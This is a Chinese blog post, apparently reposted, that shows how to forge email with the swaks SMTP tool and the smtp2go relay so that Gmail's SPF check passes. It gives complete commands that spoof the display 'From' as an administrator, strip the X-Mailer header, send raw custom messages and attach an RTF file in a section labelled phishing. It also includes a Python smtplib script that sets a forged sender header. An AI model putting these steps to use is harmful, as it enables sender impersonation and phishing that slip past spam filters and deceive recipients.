python 伪造源ip_Swaks伪造邮件
0x00 swaks
swaks - Swiss Army Knife SMTP, the all-purpose smtp transaction tester.
swaks堪稱SMTP協議的瑞士軍刀,使用它我們可以靈活的操作SMTP協議報文,這篇文章主要是記錄一下我是如何偽造一封郵件繞過gmail的檢測。
通常最簡單的發送命令:
swaks --to user@example.com --server test-server.example.net但是郵件頭中會帶上X-Mailer:
同時,SPF檢測會FAIL。
0x01 smtp2go
這個是從evi1cg師傅那里看到的,smtp2go主要是相當于郵件托管,可以分發子賬戶進行發送。
地址:https://support.smtp2go.com/hc/en-gb
(郵箱注冊)普通賬戶可以免費發1000封郵件。
分配好賬戶后,可以通過swaks進行登錄發送郵件:
0x02 swaks發送郵件
swaks --to rvn0xsy@gmail.com --from admin@qq.com --ehlo gmail.com --body hello --server mail.smtp2go.com -p 2525 -au -ap但是上面這個郵件無法繞過SPF。
0x03 SPF驗證原理
如果mail.smtp2go.com是我的郵件服務器,那么gmail服務器收到的源IP也肯定是mail.smtp2go.com的IP。
gmail會校驗郵件發送者的IP是否存在于smtp.from的域名spf配置列表里。
而上面這條命令:
swaks --to rvn0xsy@gmail.com --from admin@qq.com --ehlo gmail.com --body hello --server mail.smtp2go.com -p 2525 -au -apsmtp.from就是admin@qq.com,和mail.smtp2go.com的IP肯定不同,所以SPF校驗失敗,而校驗失敗的郵件,會有很高的幾率被扔到垃圾郵件中。
默認情況下,如果未設置Mail.From也就是郵件頭的From,則會使用smtp.from作為Mail.From。
0x04 繞過SPF
由于郵件顯示的是Header中的From不是smtp.from,因此可以將smtp.from設置為正常的郵件服務器地址,偽造一個Mail.From即可。
swaks --to payloads@aliyun.com --from xx@smtp2go.com --h-From: '管理員' --ehlo gmail.com --body hello --server mail.smtp2go.com -p 2525 -au -apGmail接收到這封郵件后,會校驗--from xx@smtp2go.com中的smtp2go.com是否等于mail.smtp2go.com的IP,由于是相等的,所以完成了SPF的校驗。
而DKIM是校驗郵件完整性的,smtp2go與Gmail直接使用的是TLS,不會發生什么問題。
0x05 Header
swaks支持自定義某些Header,參數如下:
swaks --header-如果我想去除Mailer特征,就可以這么做:
swaks --header-X-Mailer gmail.com --to payloads@aliyun.com --from xx@smtp2go.com --h-From: '管理員' --ehlo gmail.com --body hello --server mail.smtp2go.com -p 2525 -au -ap0x06 附件、釣魚
swaks --header-X-Mailer gmail.com --to payloads@aliyun.com --from xx@smtp2go.com --h-From: '管理員' --ehlo gmail.com --body hello --server mail.smtp2go.com -p 2525 -au -ap --attach /tmp/sss.rtf定制發送:
swaks --data /tmp/mail.data --header-X-Mailer gmail.com --to payloads@aliyun.com --from xx@smtp2go.com --h-From: '管理員' --ehlo gmail.com --body hello --server mail.smtp2go.com -p 2525 -au -ap --attach /tmp/sss.rtf/tmp/mail.data中是原始的郵件報文。
0x07 Python也可以做
#!/usr/bin/python# -*- coding: UTF-8 -*-
import smtplib
from email.mime.text import MIMEText
from email.header import Header
mail_host="mail.smtp2go.com"
mail_user=""
mail_pass=""
sender = 'test@smtp2go.com'
receivers = ['rvn0xsy@gmail.com']
message = MIMEText('Hello World', 'plain', 'utf-8')
message['From'] = Header("from@qq.com", 'utf-8')
message['To'] = Header(receivers[0], 'utf-8')
subject = 'SMTP 郵件測試'
message['Subject'] = Header(subject, 'utf-8')
try:
smtpObj = smtplib.SMTP()
smtpObj.connect(mail_host, 25)
smtpObj.login(mail_user,mail_pass)
smtpObj.sendmail(sender, receivers, message.as_string())
print "Success"
except smtplib.SMTPException:
print "Error" 創作挑戰賽新人創作獎勵來咯,堅持創作打卡瓜分現金大獎
總結
以上是生活随笔為你收集整理的python 伪造源ip_Swaks伪造邮件的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: html图片怎么设置行高,html行高怎
- 下一篇: python与h5结合实例_使用h5py